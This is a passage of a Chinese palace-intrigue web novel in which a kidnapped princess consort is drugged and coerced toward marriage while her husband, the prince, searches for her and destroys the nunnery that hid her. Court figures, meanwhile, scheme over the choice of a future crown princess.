只是这次她总觉得御儿的表现太过淡然了,这反而让她拿不准这婳儿究竟是真失踪还是假失踪了。
难道又有什么大鱼要钓?
皇后抬手揉了揉眉心,“罢了,只希望御儿不要做出什么极端的事情来。”
上次他们演戏,御儿所做之事真的让她这个当母后胆战心惊,不过还好一切都是演戏。
虽然同为女子,但她的儿子若为帝王的话,她是不希望自己的儿子只为一个女人专情的,更不希望自己的儿子为那个女人要死要活。
第235章 她是我唯一的妻
漆黑狭小的屋子中,姜黎婳被绑在屋中的椅子上,她轻轻挣扎了一下,长时间的坐着让她腰酸背痛,只是活动一下都感觉自己的腰快要断掉的疼痛。
现在她已经被关在这里三天了,那些人会按时进来给她送点吃的,但是为了避免自己出丑,她不敢吃任何东西,只是在实在口渴的时候,抿一点他们放在她身边的水润喉...
她必须得在自己被困死在这里之前,想办法出去。
只是这里是哪儿?
那天她被赵彦庭的人扒去了外衫,紧接着就被蒙了眼睛,但是她记得自己并未走多远就被关在了这间黑屋中,这里应该还在红山之上...
姜黎婳试着活动手腕,想要挣脱被反绑着的手,绳子却没有半点松动。
身上的疼痛和长久未进食的无力让姜黎婳感到绝望,难道她这次就要把性命丢在赵彦庭身上了?
想到是自己当年年少无知救了一个白眼狼才害得自己变成如今这副求助无门的境地,姜黎婳就巴不得把当初救了赵彦庭的那双手砍了!
等等...
姜黎婳使劲往旁边歪过去,高几被她撞倒,她也因为用力太大连人带椅子一起倒在地上,姜黎婳拼了全力往旁边一动,她想伸手去捡地上被摔坏的杯子,但双手被反绑着,自己离不开椅子...
她挣扎...
碎裂的茶杯把她的膝盖扎破,她却还是拿不到碎片...
谁来救救她?
......
御王府。
前院客厅中。
姜斯羽面色冰冷的看着楚御礼,沉声道:“婳儿究竟是真的失踪了,还是你们又有什么计划?”
楚御礼捏了捏拳头,想到这几天他的人跟着赵彦庭还是找不到半点婳儿的踪迹,他心头也开始忍不住毛躁起来。
不过在姜斯羽面前,他依旧表现出一副镇定的模样,他站起来,笑道:“舅兄不必着急,婳儿该回来的时候自然会回来。”
“楚...”姜斯羽眉头紧皱,差点把楚御礼的名字脱口而出,他咬了咬嘴唇,沉声问,“王爷,什么时候婳儿该回来?”
“现在外面都在传婳儿被段贺年的人带着跳崖了,现在生死不知!你还能这么淡定?”姜斯羽往楚御礼面前走了两步,他一把揪起楚御礼的衣领,沉声问道:“你究竟是真的喜欢婳儿还是只是把婳儿当成你上位的工具?你若不在意婳儿那我们就自己找!但是你现在要写下和离书!”
楚御礼原本还算镇定的脸色一下子就阴沉了下去,他抬手拂开姜斯羽扯着自己衣领的手,厉声道:“舅兄,本王对婳儿的心意是否真心婳儿她自己清楚!这点不需要你来帮她确认!”
他拉开与姜斯羽的距离,眼眸淬冰,“还有舅兄自己是什么能力自己清楚,你忘了上次自己在大街上都能被人掳去差点当了男宠,若不是本王的人及时赶到,舅兄你如今不是那个女人的裙下臣就是那个女人的刀下魂了。”
他说完不再看姜斯羽大步往外走,走了几步他猛地停下脚步,回头对姜斯羽道:“这句话我只对你最后再说一次,婳儿此生是我楚御礼唯一的妻,无论生死。”
姜斯羽怔怔地看着楚御礼的离开的背影,好一会儿后他大袖一甩,沉声道:“那你倒是保护好她啊!”
说完自己气急败坏的离开了。
楚御礼离开前院直接去了姜黎婳的梨月居,刚走进去,知夏和铃铛两人就扑过来跪在他面前哭着认错,“都是我们没有保护好王妃,求王爷责罚我们吧。”
楚御礼垂眸看着明显已经几天几夜没休息的两个婢女,他皱了皱眉头,抬手揉眉心,“那天那些劫匪在劫持王妃的时候可还说了什么话?”
“王妃只猜到了他们的身份,后来双方打起来了,就有人把王妃掳走了。”知夏抬手擦了擦红肿的眼睛,哭着道,“王爷,王妃不会有事吧?”
他也希望婳儿没事!
知夏没等到回答,她抬头却发现楚御礼早已经不见了。
昭临叹气过去扶着知夏和铃铛起来,“你们两个人照顾好自己吧,别等王妃回来你们两个人却出事了。”
“都是因为我们没有保护好小姐,小姐才会被人掳走的。”铃铛撇嘴就开始哭,“如果我死了,可以让小姐回来,我现在就去死!呜呜呜...”
昭临没想到前一刻还不说话的人现在居然哭得这么撕心裂肺的...
昭临如遇大敌一样往后退了几步,带这些后怕地说道:“那个主子还有事要嘱咐我,我也得帮青砚他们跟着找人,就先走了!”
他说完逃一般的离开梨月居。
他这辈子最讨厌会哭的姑娘了!特别是这种嚎的厉害的!
就跟母老虎流泪一眼,看着就恐怖!
昭临在花园追上了自家主子,楚御礼瞧他落荒而逃的模样,皱眉,“成何体统?”
昭临连忙站直身子,问楚御礼,“王爷,咱们的人已经跟了赵彦庭两三天了,还是没有王妃的消息,还要继续跟吗?”
楚御礼双手逐渐收拢,“跟。”他抬步往王府外面走,“对了,红山上的庵堂搜过了吗?”
“搜过了。”昭临点跟上楚御礼,“那日我们就把庵堂里里外外全都搜了个遍,没有王妃的踪迹。”
两人刚走出王府,墨玄大步走了过来,“我们的人来了消息,赵彦庭去了青楼。”
“去看看。”楚御礼眼睛一眯,直接翻身上马,“青楼人多眼杂,最容易金蝉脱壳了!”
“我们的人一直守着青楼的四周,他若从青楼出来,绝对跑不掉。”
楚御礼坐在马背上看了墨玄一眼,“哪家青楼?”
“胭脂阁。”
楚御礼驱马朝着胭脂阁的方向快速而去。
墨玄和昭临见状连忙骑马跟上。
几人到了胭脂阁墨玄派来跟踪赵彦庭的暗卫立刻现身道:“他们去了二楼的天字三号房间,一直在里面没出来过。”
几人大步朝二楼而去。
天字三号房间门口,楚御礼听到里面琴瑟声声还有男女的谈笑声,他轻轻偏头,昭临无语的上前一脚踢开房门,里面传来尖叫声,楚御礼走进去,原本抱在一起正卿卿我我的一对男女吓得赶紧披上衣裳,而弹琴奏乐的乐师也吓得跌坐在地上。
楚御礼冷眼看着陌生的男人,脸色阴沉,“赵彦庭呢?”
“你是谁?闯我们房间做什么?”男人挺起胸膛气势汹汹的看着楚御礼,“坏了爷的好事!活腻了!”
楚御礼眼睛一眯,语气冰冷,“我再问你一遍,先前在这个房间中的男人去哪儿了?”
第236章 整个庵堂陪葬
姜黎婳不知道自己在地上躺了多久,她只感觉冰冷的水已经把她的衣裳浸湿,加上天气很冷,现在她整个人都被冻得麻木了...
她躺在地上缓缓闭上眼睛,接受了自己即将死亡的现实。
就在这时候石门挪动的声音哐哐响起,姜黎婳想睁开眼睛看一眼,但是却发现眼皮沉重得根本抬不动,她扯了扯嘴角...
楚御礼,是你来救我了吗?
就像上一次一样?
“婳儿!”焦急的声音响彻姜黎婳的脑海。
她猛地睁开眼睛。
四周是刺眼的亮光,姜黎婳缓缓抬手遮住自己的眼睛,她往周围看过去,这里不是先前关押她的那间小屋子了。
这是哪儿?
她被救出来了?
她张嘴想喊楚御礼的名字却发现自己的喉咙没法发声了,她捏了捏脖子,然后给自己诊脉,确定自己没有中毒,她才放下心来。
适应了房间的亮光,姜黎婳撑着身子坐起来,还没来得及穿上鞋子,就有人推开门进来了,姜黎婳欣喜的抬头看过去...
看到来人她脸上的笑意瞬间消散了下去,她收回目光,给自己穿鞋。
赵彦庭注意到姜黎婳的表情,他那双阴郁的眼睛眯了眯没有说话,反手把房间门关上之后才端着饭菜走到桌边,“我给你准备了点吃食,吃完我们就回江南。”
姜黎婳猛地站起来,“你...”
才说了一个字姜黎婳就感觉自己的喉咙像是被刀割一样疼痛,她不可置信地看着赵彦庭,这个人是不是疯了!
现在竟然还想偷偷带她离开京城回江南?
他想做什么?
赵彦庭像是根本没有发现姜黎婳的不对劲一样,他走过来隔着衣袖摸了摸姜黎婳的头发,笑意温柔,“我知道岳母忽然离世你心头难受,但是你也别太难过了,我们现在已经离开京城了,回到江南也是十日左右的事情,想来到时候岳母还未下葬,你还是能见岳母最后一面的。”
“赵...”姜黎婳皱眉看着赵彦庭,你究竟要干什么?
赵彦庭瞧自己隔着衣袖触摸姜黎婳,她并未有抗拒之色,他那阴郁的眼中闪过一丝笑意,他往门口看了一眼,听到脚步离开的声音,他眉梢微微一扬,推着姜黎婳往桌边走,一边阴沉地说道:“你可以选择不吃,但是不吃的话,你饿晕了,我就可以...”
姜黎婳深深地看了赵彦庭一眼,抬步走到桌边端着碗筷开始吃饭,反正现在她人没有被绑着了,说不定之后还可以趁着如厕的时间逃跑!不吃根本没有力气跑!
赵彦庭瞧着姜黎婳乖乖地吃饭的模样他笑了,盯着她把饭菜都吃干净了,他笑着给姜黎婳倒了一杯茶水,“喝点吧,你这嗓子若想说话,就得多喝水。”
姜黎婳垂眸看了他手中的茶水一眼,他说的没错,到时候自己逃跑,路上求救就需要说话。
她接过他手中的茶水一饮而尽,赵彦庭瞧着她听话的样子笑出了声,他抬手摸了摸姜黎婳的脸颊,“为了逃跑你还真是听话啊。”
姜黎婳蹙眉,接着她感觉脑袋开始变得昏昏沉沉。
她明明闻了茶水没有问题的!
姜黎婳想站起来跑,却发现自己的脚下根本没有力气,人也一下子晕了过去...
赵彦庭抱着姜黎婳的头让她靠在自己的肩膀上,看着昏睡过去的姜黎婳,他轻笑,“知道你会医术所以茶水中是无色无味的蒙汗药,傻丫头,我既然知道你的心思,又怎么会让你逃走呢。”
他抱起她把她放在床上,看着她沉睡的容颜,他眼底带着一丝痴狂,“为了你我连京城兵马司副指挥使的官职都不要了,那南岳的兵权我也放弃了,你可不能背叛我哦。”
大概半刻钟后,门口响起敲门声,一个温和的女声在外面响起,“公子,您要的马车我家那位已经帮您买来了。”
赵彦庭脸上的阴郁之色瞬间收敛了起来,他走过去打开门谦和地对着门口的中年妇人拘礼,“多谢大嫂了。”
他从怀中拿出一定金子递给妇人,“这点心意还请嫂子收下,算是今日我与夫人叨扰的酬谢了。”
妇人看到金子吓了一跳,她慌忙推拒,“使不得使不得,你们这还要赶路南下,正是需要银钱的时候,这可万万使不得啊!”
“嫂子您就收下。”赵彦庭神情地回头看了一眼躺在床上的姜黎婳,叹气道:“我与娘子本就门不当户不对,当初成亲我家人就不同意,如今更是不让我家娘子回娘家送我岳母最后一程,我与娘子偷跑出来,若不是嫂子您和大哥昨日帮忙,我家人就要把我们给绑回去了,还请你们收下我这点心意。”
妇人一脸感动的看着赵彦庭,“真没想到世上竟然还有公子这般深情的男人。”
她接过赵彦庭的金子,轻声道:“你放心好了,若以后还有人来问你们的行踪,我们保证不会透露半点的。”
说罢又担忧地看向姜黎婳,“只是你家娘子的身体只怕是不适合赶路啊。”
“但总要让娘子在岳母下葬前再见岳母最后一面。”赵彦庭说到这里叹了口气,“不然以后娘子定然会恨她自己的。”
“那你等等,这寒冬腊月的天气寒冷,我这就去把我家中的被褥多抱几张给垫在马车中,让她在路上也舒服些。”
赵彦庭赶紧躬身行礼,“如此多谢嫂子了。”
妇人笑着摆了摆手,“您给的这报酬已经够买我家这宅子了,还说什么谢。”
妇人转身的瞬间,赵彦庭脸上的笑容消失不见,他转身把门关上,盯着躺在床上的姜黎婳。
红山庵堂。
楚御礼站在密室中看着屋中的一片狼藉和血迹,脸上阴沉得要滴出血了,他转身大步走出密室,看着庵堂大院中跪着主持师太和一众身穿青衣的尼姑。
他手中握着长剑,眼神没有半点波动,就像跪在他面前的不是人,而是一个个没有生命的木头一样。
他举剑朝着主持师太一挥,主持脸上立刻被划出一条口子,主持师太痛呼出声,她瞬间趴在地上,哭着求饶,“王爷您放我我们吧,贫尼当初也是被那些人逼的啊!他们拿着整个庵堂所有人的性命来威胁贫尼,贫尼才不得不帮他们藏人啊!”
楚御礼冷笑,他眼底闪过一丝肃杀之色,“是吗?可是你们修佛之人不是救人一命胜造七级浮屠吗?你们若救了她就算你们死了,本王也会让人给你们塑金身,让你们死后登极乐,但是你们却助纣为虐!既然本王的王妃出事了,那你们整个庵堂现在就去给她陪葬吧。”
第237章 另选太子妃
离庵堂不远的悬崖边,楚御礼站在那天捡到姜黎婳外衫衣角的地方垂着眼往悬崖下面看去,他眼神幽深不知道在想什么。
这时候昭临大步从庵堂走了过来,站在楚御礼身后对着楚御礼拱手道:“主子,红山庵堂所有人因为勾结逆贼,已经全部伏诛。”
楚御礼听到昭临这话,眼底没有半分波动,他收回看向悬崖下面的目光转身,冷漠地吐出两个字,“烧了。”
说完大步朝山下走。
昭临看了一眼站在不远处的御王府侍卫长,沉声道:“把庵堂烧了。”
侍卫长震惊的瞪大眼睛,他往庵堂里面看了一眼,有些不安地问,“那些尸体呢?”
不用处理吗?
昭临蹙眉,“自然是一起烧了!叛贼留着做什么?”说着他眼底闪过一丝懊恼,若那天他们细心一点发现了庵堂的暗室,也不至于让王妃现在还不知去向。
是夜。
楚御礼刚回京城,还未回到御王府,就被福清带着人拦在了大街上,福清瞧着面色平静,眼底却透露着疯狂之色的御王殿下,心头有些忐忑,但还是弓着身子对楚御礼道:“御王殿下,陛下听说了您屠戮了整个红山庵堂的事情,现在让您入宫一趟。”
楚御礼面无表情地看了福清一眼,勒紧缰绳调转方向朝着皇宫而去。
皇宫。
御书房。
皇帝看到楚御礼从殿外走来,甚至丝毫不掩饰自己身上的肃杀之气,皇帝就气得怒声喝道:“如今朝廷正处于水深火热之中,你还敢直接屠了整个庵堂,你知不知道你在做什么?”
楚御礼抬眸看了震怒的皇帝一眼,接着抬手慢条斯理地给皇帝见礼,等站直身子之后,才幽幽道:“父皇,气大伤身,您何必为了几个窝藏逆贼的尼姑动怒呢?”
皇帝被楚御礼这阴恻恻的话弄得一怔,他蹙眉看着楚御礼,沉声道:“御儿,现在段贺年刚刚被抓,他还有许多同党需要你带人去清理,你是父皇的嫡长子,也是楚国未来的储君,你万万不可意气用事,知道吗?”
“意气用事?”楚御礼嘴角勾起一抹冰冷的弧度,“父皇,若儿臣真的意气用事,那今天就不是屠了庵堂这么简单了。”
“御儿!”皇帝脸色一沉,“你不要忘了自己的身份!朕已经决定了,将来立你为储,你将来会是楚国的国君,难道你非要为了一个生死不知的女人把自己的名声都败坏了吗?”
“父皇你别忘了就是那个现在生死不知的女人救了我这个本就该死的人!”楚御礼眼眸猩红,他往前走了一步,执拗地盯着皇帝,冷声道,“父皇,若婳儿找不到,那儿臣就当不了这楚国的储君。”
“楚御礼!”皇帝抬起手就要朝楚御礼打过来,但是却在接触到楚御礼冰冷的目光时停下了手中的动作。
“陛下!”皇后的焦急的声音在殿外响起,“您这是做什么?”
皇后大步从殿外走进来。
她把楚御礼拉到自己身后护着,祈求地看着皇帝,轻声道:“陛下,您是知道御王妃在御儿心中的地位的,现在叛贼已除,您就留点时间给御儿不行吗?”
皇后说罢回头看着楚御礼,低声劝道:“御儿不要任性,快给你父皇认个错,母后知道你先前和你父皇说的那些都是气话,你不要...”
“若父皇母后没有其他事情了,那儿臣就告退了。”楚御礼朝两人躬身行了一礼,转身大步离开。
皇帝看着楚御礼大步离开的背影,气得抬手指着楚御礼的背影,连连对着皇后道,“你瞧瞧,你瞧瞧,如今他的魂魄都要被那个女人勾走了!”
“皇上。”皇后无奈地看了皇帝一眼,低声道:“御王妃毕竟是这件事情的受害者,您不要把御儿逼得太急了。”
“朕已经写好了诏书,等下次大朝会,朕就会宣布他成为楚国的太子,你看他如今这样子,像是能胜任太子之位的人吗?”皇帝气得狠狠甩了一下袖子。
皇后垂眸,那如今你除了御儿,还能立谁当太子?三皇子?那也要看人家愿不愿意啊?
“臣妾会好好劝劝御儿的。”皇后轻声道。
皇帝叹气,“你告诉他朕立他为太子之后会给他一些时间去找御王妃,但是二十岁之后,他得参加百花宴,选太子妃。”
皇后猛地抬头看向皇帝,“陛下这是什么意思?”
“承恩公府嫡出的小姐如今也有十七了,到了婚嫁年龄了。”皇帝看着皇后,语气淡淡,“楚国将来的一国之母不可能是商贾之女。”
皇后藏在袖中的手微微握紧,她抬眸看向皇帝,沉声道:“陛下,若婳儿的师父是上官先生呢?”
皇帝脸色一变,不过很快他又恢复常色,“她可以是太子妃,但也不可以成为楚国的一国之母。”皇帝说到这里顿了顿,接着他语重心长地看着皇后,沉声道:“皇后,朕知道你向来顾大局,母后既然已经属意承恩公府的嫡女当太子妃了,那定然是势在必行的。”
皇后咬了咬牙齿,她就知道她这个姨母身为太后,心思是不可能这么简单的,当初表现得那么喜欢婳儿,甚至把自己最喜欢的头面都赏赐给了婳儿,最后还不是要为自己的亲侄孙女谋权势和地位。
“御儿那里还是陛下您亲自去说吧。”皇后揉了揉眉心,摆出一副疲惫之色,“臣妾前些日子受了惊吓,如今这些日子总是头疼,臣妾累了,先回宫歇息了。”
看着皇后大步离开的模样,皇帝狠狠地锤了一下桌子,厉声道:“福清!你说他们一个两个怎么都这么不让朕省心!”
“皇后娘娘这是在和陛下您耍小性子呢。”福清笑着上前给皇帝递茶,等皇帝接过去之后,又殷切地让皇帝坐下,亲自给皇帝捏肩,一边笑着道:“陛下您也知道您在装昏迷那段时间皇后娘娘有多着急,奴才说句大逆不道的话,这宫中众多嫔妃啊,也就只有皇后娘娘是真心实意的对待您的呢。”
皇帝想起昏迷时皇后和太后她们在外殿说的话,他的脸色这才稍微好看了一些,他叹气,“朕这也是为了御儿打算,身为储君,他得学会平衡后宫,稳固朝堂,怎么可以将一颗心,全都扑在一个女人身上呢?”
皇帝说到这里忽然顿了顿,他抬手让福清停下够自己捏肩膀的动作,沉声问,“朕让你准备的女人,如何了?”
第238章 只有无能的帝王娶妃嫔来巩固朝纲
一根烛灯的光芒在黑暗的牢房中显得特别的昏暗,泛黄的灯光在牢房中轻轻摇曳,映照出的几个人影在墙上显得有些缥缈。
楚浩泽面无表情的看着站在自己面前的两个宫女和一个嬷嬷,嬷嬷站在几人面前,翻开一本书,面无表情地对三人说道,“这些动作更容易受孕,这些日子你们两个人就在这里伺候四...公子,等你们有了身孕,将来荣华富贵享不尽。”
楚浩泽听着嬷嬷的话,脸色变得特别难看,他狰狞地偏头看着在自己面前大言不惭的嬷嬷,嗤笑道:“皇帝想要我留下子嗣?弥补他对靖王的亏欠?做梦!你做梦!我是绝对不可能配合的!”
嬷嬷看了一眼还没有人清楚情况的楚浩泽,笑着道:“这可由不得你呢。”
她说罢又翻了一页,对着两个宫女道,“这些就是男子躺在床上由女人掌控主导权的姿势和方法,不过死后你们要把腰间垫上枕头,这样更容易受孕,听明白了吗?”
两个宫女红着脸应了声是。
嬷嬷这才满意地点了点头,她赞赏地看着两个宫女,挑眉道:“你们两个的身子一看就是好生养的,若是一举得男的话,有的是荣华富贵等着你们。”
两个宫女笑着应了声是。
楚浩泽瞧两个女人像是看猎物一样看着他,他气急败坏地从床上站起来,怒声骂道:“滚!你们都给我滚!”
嬷嬷冷冷地看了楚浩泽一眼,沉声道:“四公子,您犯的可是谋逆之罪,陛下仁慈,让您留下子嗣,您不要不知好歹。”
“谁要他的仁慈!他那分明就是假仁慈!他害怕我活着将来影响他儿子的皇位!却又害怕杀了我断送了...”楚浩泽瞪大眼睛看着禁锢着自己双手的两个宫女,又看向用手帕堵住了自己嘴的嬷嬷,“呜呜呜呜...”
你们干什么?
快点放开我!
嬷嬷笑着道:“咱们这些在宫中当奴才的,自然是听陛下的命令行事,您想说的那些话,咱们不想听。”
嬷嬷说罢看了两个宫女一眼,“你们两个能完成任务吗?”
两个宫女想到生下孩子之后的荣华富贵,眼睛都亮晶晶的,两人使劲点头,“嬷嬷您放心,四皇子手无缚鸡之力,我们两个人对付他,绰绰有余,您就等着我们的好消息吧。”
养心殿中。
福清听了皇帝的问题,笑着道,“陛下仁慈,念在靖王殿下的面子上还让四...殿下留下子嗣再赐死,楚国有陛下您这样的明君,是楚国百姓之福。”
“楚浩泽罪该万死,但谁让他是阿霆的儿子。”皇帝叹了口气,眼神哀切,“阿霆当年为朕而亡,朕怎么忍心看到他后继无人,偌大的靖王府,将来总要有一个人继承才是。”
“陛下仁慈。”福清躬身,一脸感动,“想来靖王殿下在天之灵看到陛下您为他所做的一切,都会感动哭的。”
“就你会说话。”皇帝疲惫地站起来,“行了,安排太医随时盯着,等天牢中传来了好消息,就直接送楚浩泽上路。”
“是。”福清赶紧上前扶着皇帝往外走,“奴才一定让人盯紧了,绝对不会出半点差池的。”
十日后。
御王失踪。
原本打算在大朝会上宣布立储诏书的皇帝直接在朝堂上震怒,立刻命御林军和锦衣卫联合出京寻找御王,并且下了死命令让他们找不到御王,都不准回京。
慈宁宫中。
太后接到御王失踪的消息时,正在和一个妙龄姑娘聊天,听到消息,她脸色一沉,那双浑浊睿智的眼睛里闪过一丝冷光,不过片刻,她眼底的冰冷消失,她抬眸看向坐在自己下侧的妙龄女子,笑着道:“若瑶,姑祖母知道你是个懂事的孩子,如今御王正是年轻气盛的时候,遇到一个救了自己性命的女子,难免会做一些糊涂事,但姑祖母相信,以你的心性和手腕,将来定能够获得御王的心。”
容貌美丽,举手投足落落大方的妙龄女子听了太后这话,面上闪过一丝羞涩的笑意,她轻轻颔首,“若瑶全都听姑祖母和家中的安排,若瑶知道殿下将来是要当楚国储君的,自然不会想着要一个人拴着殿下的心,若瑶将来嫁给殿下之后,定然会规劝殿下平衡后院,早些为皇室开枝散叶,也会让殿下笼络人心,巩固朝纲。”
太后听着孟若瑶的字字句句,满意地点了点头,她朝着孟若瑶招手,孟若瑶上前走到太后面前蹲下身子,太后伸手抓住孟若瑶的手,笑着点头,“姑祖母就知道你是一个懂事的,姑祖母果然没有看错人。”
一炷香后。
凤仪宫中。
皇后听了太监的汇报,冷冷地哼笑了一声,她侧眸看向坐在一旁没说话的贤妃,嘲讽道:“本宫原本以为本宫就已经足够忘恩负义的了,没成想还有比本宫更甚的!”
想到将来那个救了自己儿子的姑娘回到皇宫见识到皇宫的肮脏,皇后现在是真的希望她不要回来了。
皇后挥退宫中伺候的宫人,又看向面色不好的贤妃,“现在本宫倒是希望她不要回来了,不然回来之后看到我们这些忘恩负义的嘴脸,她不知道该会有多难过。”
“娘娘。”贤妃站起来,有些不知道该说什么好,她走到皇后身侧扶着皇后,低声道:“无论如何,现在我们还是应该祈求上天保佑,保佑御王妃还活着。”
皇后叹气,“本宫希望她活着,然后天高地远别再回来,本宫不希望让她看到皇室的肮脏。”
皇后说到这里自嘲地笑了笑,她反握住贤妃的手,轻声道:“贤妃,其实本宫以前也想过她永远不要回来了,因为本宫的儿子将来是要当皇帝的,若本宫的儿子因为一个女人遣散后宫,那将会...”
皇后说到这里没有继续说下去,她闭上了眼睛松开贤妃的手,然后缓缓坐下,片刻后她睁开眼看向贤妃,自嘲地笑了笑:“你说本宫是不是很虚伪?”
一边看不上太后的做法,一边又....
“皇后娘娘,您有没有想过御王殿下有那个能力呢?”贤妃说到这里放轻了自己的声音,缓缓道:“说句大逆不道的话,只有无能的皇帝才会需要后妃来为自己巩固朝纲。”
皇后猛地站起来捂住贤妃的嘴,低声骂道:“你不要命了?”
贤妃眨了眨眼睛,低声问:“您看先皇再看陛下,他们哪个不是妃嫔众多,如今先帝的子嗣只有皇上一个了,而陛下呢?”
“二皇子幽禁宗人府,三皇子不可用,四皇子还是别人的,到头来不就只有御王殿下一个孩子了吗?”
第239章 成亲
只有无能的皇帝才需要广纳后宫来为自己稳固朝纲?
皇后被贤妃这句话狠狠地震惊到了。
不过也是因为这句话,皇后在心底做了一个决定,若自己的儿子真有那个三千弱水只取一瓢的决心和对抗朝臣的能力,那她这个做母后就会站在他背后,坚定不移的支持他!
醍醐灌顶的皇后一把握紧贤妃的手,低声道:“若御儿真有那个能力,那本宫也不会当忘恩负义之人。”
贤妃听了皇后这句话眼底总算是露出了笑容,她轻轻拍了拍皇后的手背,“娘娘从来都不是忘恩负义之人。”
江南扬州。
白墙黑瓦的庭院中,姜黎婳倚在临水的长廊边,垂在围栏边的手指无意的划过冰凉的木栏,看着水中的红色鲤鱼。
昨夜下了雨,池塘边的柳树上结了冰,此时照射着太阳就如水晶一样在太阳下面闪闪发光,但姜黎婳却没有半分观赏的心思。
她以为回到江南这赵彦庭会回苏州,没成想这人根本不走寻常路,居然带着她到了扬州,让她更没想到的是这赵彦庭竟然在扬州有这么大的宅院,而宅院中的下人,竟然都是他的心腹。
所以他即便在这宅院中放她自由,她也没有办法离开这里半步。
脚步声由远至近,姜黎婳不用回头都知道这是赵彦庭过来了,她当没有听到他的动静,继续趴在木栏上发呆,她得想个办法离开这里。
这院中的植物她都观察过了,没有一样是可以让她用来制毒的东西...
脚步在姜黎婳身后停下,她感觉自己的身子一重,她蹙眉回眸,看到了落在自己身上的白色毛领大氅,身上被大氅的暖意包裹,姜黎婳也不让自己吃亏,抬手拢了拢身上的大氅。
赵彦庭被姜黎婳这动作取悦,嘴角下意识的勾起一抹浅浅的弧度,就连眼底的阴郁都消散了两分,他在姜黎婳身边坐下,抬手要去帮姜黎婳整理大氅,姜黎婳猛地站起来往后退了两步,冷冷地看着他,沉声道,“赵彦庭,你就这么对你的救命恩人的?”
赵彦庭抬起来的手僵在半空,手指因为姜黎婳这句话微微蜷缩了一下,眼底也重新聚齐阴郁之色,他站起来,走到姜黎婳面前强势地给姜黎婳整理毛领,“救命之恩当以身相许,十天之后我们就举行大婚,余生我将只对你一个人好,这算不算报答你的救命之恩了?”
“我是御王妃。”姜黎婳强忍着心底的恶心抬手使劲推开赵彦庭,然后当着赵彦庭的面直接把大氅扯下来扔在地上,冷声道:“原本不想委屈自己让自己受冷的,但我现在更不想恶心自己。”
她说完转身就走。
赵彦庭眼睛一眯两步上前一把拽住姜黎婳的手腕,厉声道:“姜黎婳!不要再挑战我的底线!”
姜黎婳垂眸看着被赵彦庭抓着的手腕,心底那股恶心的感觉一下子窜到了天灵盖,她一个没忍住,直接朝赵彦庭吐了出来,赵彦庭眼疾手快的松开姜黎婳,让开她吐出来的污秽之物,脸上全是震惊之色。
姜黎婳得到了自由,扑到长廊边趴在围栏上又吐了几口,因为她在自己面前这么肆无忌惮的表达着对自己的厌恶,赵彦庭脸已经黑完了,他沉沉的看着姜黎婳,沉声道,“姜黎婳我就不相信我每次触碰你的时候你都会觉得恶心,反正我有的是时间,我就们看看,等我们相处久了,你是不是还会觉得我恶心!”
赵彦庭说着抬步朝姜黎婳走过来,姜黎婳才吐了一会儿,现在人根本没力气,她知道若这时候赵彦庭来硬的,她根本没有反抗的机会!
要是这赵彦庭根本不在乎她吐的污秽之物,非要霸王硬上弓呢?
胡思乱想之下,姜黎婳一下子爬到围栏上站着,她居高临下地看着脸上已经露出危险之色的赵彦庭,冷声道:“你再往前一步,我就跳水...”
跳水?
姜黎婳回眸看着院中的水池,这水瞧着不像死水啊,若与外面的河水相连,那她适不适合可以潜水离开这里?
赵彦庭直直地盯着姜黎婳,轻笑,“你可以试试,若你死了,我们就举办冥婚,我一定会找一个擅长冥婚的大师让你死后,都必须是我赵彦庭的女人。”
“晦气。”姜黎婳从木栏上跳下来,然后朝赵彦庭翻了一个白眼,“当初我怎么就手贱救了你这么个忘恩负义的玩意儿!”
“呵呵。”赵彦庭像是被姜黎婳骂爽了,他手握成拳头放在唇前咳嗽了两声,片刻之后抬眸看着姜黎婳,双眸闪着亮光,声音都变得喑哑了,“这才是你的真面目吧?”
姜黎婳一愣,接着挑眉,“怎么?接受不了我粗鲁的样子啊?那你忍着啊!”
她说罢趁着赵彦庭愣神的时间,转身大步开跑,跑到自己的房间后,一把把房间门关上,上了门栓然后又去把窗户关得严严实实了,才放下心来。
站在长廊上的赵彦庭看着姜黎婳大步逃跑的背影,嘴角勾起一抹饶有兴致的弧度,“有趣。”
十日后。
姜黎婳被人押着坐在梳妆桌前,她看着自己面前摆放着的凤冠霞帔,脸上闪过一丝恼意,她闭了闭眼睛,冷声道:“让赵彦庭来见我!”
这赵彦庭竟然真的要和她成亲?
他是真的脑子有病吧!
她自认为以前和赵彦庭并没有什么交集,以前最多算是点头之交,只有那次看他身受重伤,她身为医者不能见死不救,所以救下了他...
“你找我?”带着笑意的声音在姜黎婳门外响起。
姜黎婳回头看去,身穿红色婚服的赵彦庭正笑看着她,“原本在拜堂成亲之前新人是不宜见面的,但是是你想见我,我就来了。”
姜黎婳冷冷的回头看着赵彦庭,沉声道:“先让他们都出去。”
赵彦庭看了一眼守在姜黎婳周围的几个人,那几个人这才退了出去。
他走进来走到圆桌旁边给自己倒茶,惬意自得地看着姜黎婳,“他们都走了,现在可以说找我做什么了?”
姜黎婳靠在梳妆桌上,手撑着梳妆桌,她看着赵彦庭,冷笑,“赵彦庭你之所以要娶我,不会是为了引起你爹的注意吧?还是你想抢了旭庭哥喜欢的人。”
赵彦庭捏着茶杯的手一顿,不过这个停顿只是一息的时间,很快他又自然地把杯中茶水喝了干净,然后抬眸看着她,轻笑,“我们都要成亲了,你现在还与我说什么赌气的话?”
第240章 杀了他
“赵彦庭,我自认为我们根本没有什么交集,你绝对不可能早就对我情根深种!我有理由怀疑,你这样做不过是在报复赵伯伯,亦或者是胜负欲作祟!”姜黎婳看着赵彦庭,眉头微蹙,“可是你想错了,旭庭哥只是把我当妹妹,他根本不喜欢我,你这样做只会害了你自己,你现在放我走,我就当这里的一切没有发生过,如何?”
赵彦庭把玩着手中空掉的水杯,不过须臾他把手中的水杯猛地拍在桌上,站起来逼近姜黎婳,“你以为你很了解我?”
“你那天和你身边的心腹的谈话,我听到了!”姜黎婳被他的靠近吓得手一哆嗦,下意识地往后挪了一点,“你说赵旭庭喜欢我,却不敢抢了王爷的女人,但是你敢,这样你不仅娶了赵旭庭喜欢的女人,更会因为抢了王爷的女人,让赵伯伯与皇室之间产生隔阂。”
听着姜黎婳的话,赵彦庭的眼睛眯了眯,他抬手捏着姜黎婳的下巴,逼着躲着自己的姜黎婳直视自己,“婳儿...”
他笑意阴沉,“那你是不是只听了前面,没有听到后面呢?”
姜黎婳面上的神情一僵,她偏头脱离赵彦庭的禁锢,身后的手指猛地收紧,声音颤抖,“什么后面的话?赵彦庭你不要骗别人把你自己也骗了!”
